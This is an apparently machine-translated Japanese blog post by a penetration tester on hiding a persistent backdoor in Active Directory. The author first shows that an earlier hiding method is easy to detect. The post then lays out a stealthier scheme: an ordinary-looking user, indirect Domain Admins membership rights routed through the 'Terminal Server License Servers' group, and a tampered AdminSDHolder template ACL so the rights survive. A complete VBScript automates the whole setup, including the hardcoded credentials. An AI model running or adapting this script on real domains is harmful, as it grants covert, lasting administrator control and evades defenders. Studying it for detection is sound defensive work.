Active Directoryのバックドア

やがて、1年未満前に、同様の見出しの出版物がhabrで点滅しました[ 1 ]。 その中で、著者は、「隠された」アカウントへのアクセスを防ぐために、「隠された」アカウントをホストするコンテナとしてプログラムデータサービスリポジトリを使用して、ドメイン管理者の権限を隠蔽する方法を提案しました。 ただし、著者の保証にもかかわらず、「隠された」アカウントの発見とその後の削除は、数回クリックするだけで実行できます。

1.アカウントの検出と妨げられない削除(著者[ 1 ]の逆保証にもかかわらず)。

画像

2. Active Directoryからトレースを削除します。

画像

画像

画像

画像

つまり 提案されたアプローチは実際には機能しません。 しかし、この方法のより適切な代替案があるかもしれません(ドメインコントローラーでルートキットを使用しないことを含む:))?

私の活動は侵入テストの実施に直接関係しているという事実のため、この質問はしばらくの間頭の中にありました。 そして彼は、企業の管理者のままで情報システムへの影響を最小限に抑えるという条件を満たしながら、私の仕事の1つで長い間気付かれないようにする必要がなくなった点に変わりました。

探偵小説の有名な作家が言ったように:
-シートを隠すのに最適な場所はどこですか?
-秋の森で!
「石を隠すのに最適な場所はどこですか?」
-海岸で!
「そして死体を隠すのに最適な場所はどこですか?」
- 戦いの場に。

ドメインディレクトリとの類似点を描くと、次の戦略を順守できます。

-バックドア識別子を非表示にするのではなく、他のユーザー識別子が大量に蓄積された同じコンテナに保持することをお勧めします。 同時に、作成される識別子は、最も一般的な企業アカウントにできるだけ類似している必要があります。

-バックドア識別子は、ドメイン内の拡張特権を持つグループのメンバーであってはなりません。 これを行うには、次の図に示すように、アクセス制御機能を使用することをお勧めします。

画像

-ドメイン内で拡張された権限を持つグループのアクセス制御リストでも、ユーザーのバックドア識別子を「シャイン」することは完全に賢明ではありません。 より合理的なアプローチは、ドメイン内の拡張された特権を持つグループのアクセス制御リストに既にACLのメンバーであるセキュリティグループに特権を拡張することです。 これらの目的には、「ビルトイン\ターミナルサーバーライセンスサーバー」グループが適しています。

画像

したがって、上記のシナリオに従ってバックドアを効果的に作成するには、以下が必要です。

1.目立たないユーザーを取得します。
2.このユーザーが「ビルトイン\ターミナルサーバーライセンスサーバー」グループのメンバーのリストを変更できるようにします。
3.「ビルトイン\ターミナルサーバーライセンスサーバー」グループにグループメンバーのリスト(「Domain Admins」など)の変更を許可します。

ここでは、小さなニュアンスに注目する価値があります。 Domain Adminsグループのアクセス制御リストを変更することはできません。 実際、Active Directoryアーキテクチャは、次のような最も機密性の高いオブジェクト(adminSDHolder、[ 2 ])のアクセス制御リストを保護します。

-エンタープライズ管理者
-スキーマ管理者
- ドメイン管理者
-管理者
-ドメインコントローラー
-証​​明書発行者
-バックアップオペレーター
-レプリケーターサーバーオペレーター
-アカウントオペレーター
-印刷オペレーター

1時間ごとに上書きされない上記グループのアクセス制御リストを変更するには、オブジェクト「CN = AdminSDHolder、CN = System」のテンプレートアクセス制御リストを変更するか、目的のオブジェクトの「adminCount」属性をゼロに設定する必要があります[ 3 ]。 テンプレートのアクセス制御リストを書き換えることは、私にとってより有望なようです すべての管理者がActive Directoryのこの「保護」メカニズムに精通しているわけではありません。

Active Directoryでブックマークを自動化するには、以下のスクリプトを使用できます。

On Error Resume Next

'
username = "PT"
password = "P@ssw0rd"

' ,
userDN = "cn=Users"

' , ACLs Domain Admins
joinGroupDN = "cn=Terminal Server License Servers, cn=Builtin"
joinGroup = "BUILTIN\Terminal Server License Servers"

'
adminsGroup = "CN=Domain Admins,CN=Users"

Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN
Set objSysInfo = CreateObject("ADSystemInfo")
strUserDN = objSysInfo.userName
Set objUser = GetObject("LDAP://" & strUserDN)

Set objRoot = GetObject("LDAP://rootDSE")
Set objContainer = GetObject("LDAP://" & userDN & "," & objRoot.Get("defaultNamingContext"))

'
Set objUserCreate = objContainer.Create("User", "cn=" & username)
objUserCreate.Put "sAMAccountName", username
objUserCreate.SetInfo
On Error Resume Next

' , ;)
objUserCreate.SetPassword password
objUserCreate.Put "userAccountControl", 66048
objUserCreate.SetInfo
On Error Resume Next

' Terminal Server License Servers
GroupAddAce joinGroupDN,username

' Terminal Server License Servers Domain Admins
GroupAddAce adminsGroup,joinGroup

' "" ACL
GroupAddAce "CN=AdminSDHolder,CN=System",joinGroup

Function GroupAddAce(toGroup,forGroup)
Dim objSdUtil, objSD, objDACL, objAce
Set objGroup = GetObject ("LDAP://" & toGroup & "," & objRoot.Get("defaultNamingContext"))

Set objSdUtil = GetObject(objGroup.ADsPath)
Set objSD = objSdUtil.Get("ntSecurityDescriptor")
Set objDACL = objSD.DiscretionaryACL
Set objAce = CreateObject("AccessControlEntry")

objAce.Trustee = forGroup
objAce.AceFlags = 0
objAce.AceType = 5
objAce.AccessMask = 32
objAce.Flags = 1
objAce.ObjectType = "{BF9679C0-0DE6-11D0-A285-00AA003049E2}"
objDacl.AddAce objAce

objSD.DiscretionaryAcl = objDacl
objSDUtil.Put "ntSecurityDescriptor", Array(objSD)
objSDUtil.SetInfo

End Function


追加する価値はありますが、その単純さにもかかわらず、継続的な自動制御の手段なしでそのようなブックマークを見つけることは非常に困難です。 また、アイデアを発展させるために、たとえば、ドメインコントローラーなどを含むOUのグループポリシーをユーザーが管理できるようにするなど、より複雑なブックマークを考えることもできます。

Source: https://habr.com/ru/post/J114600/


All Articles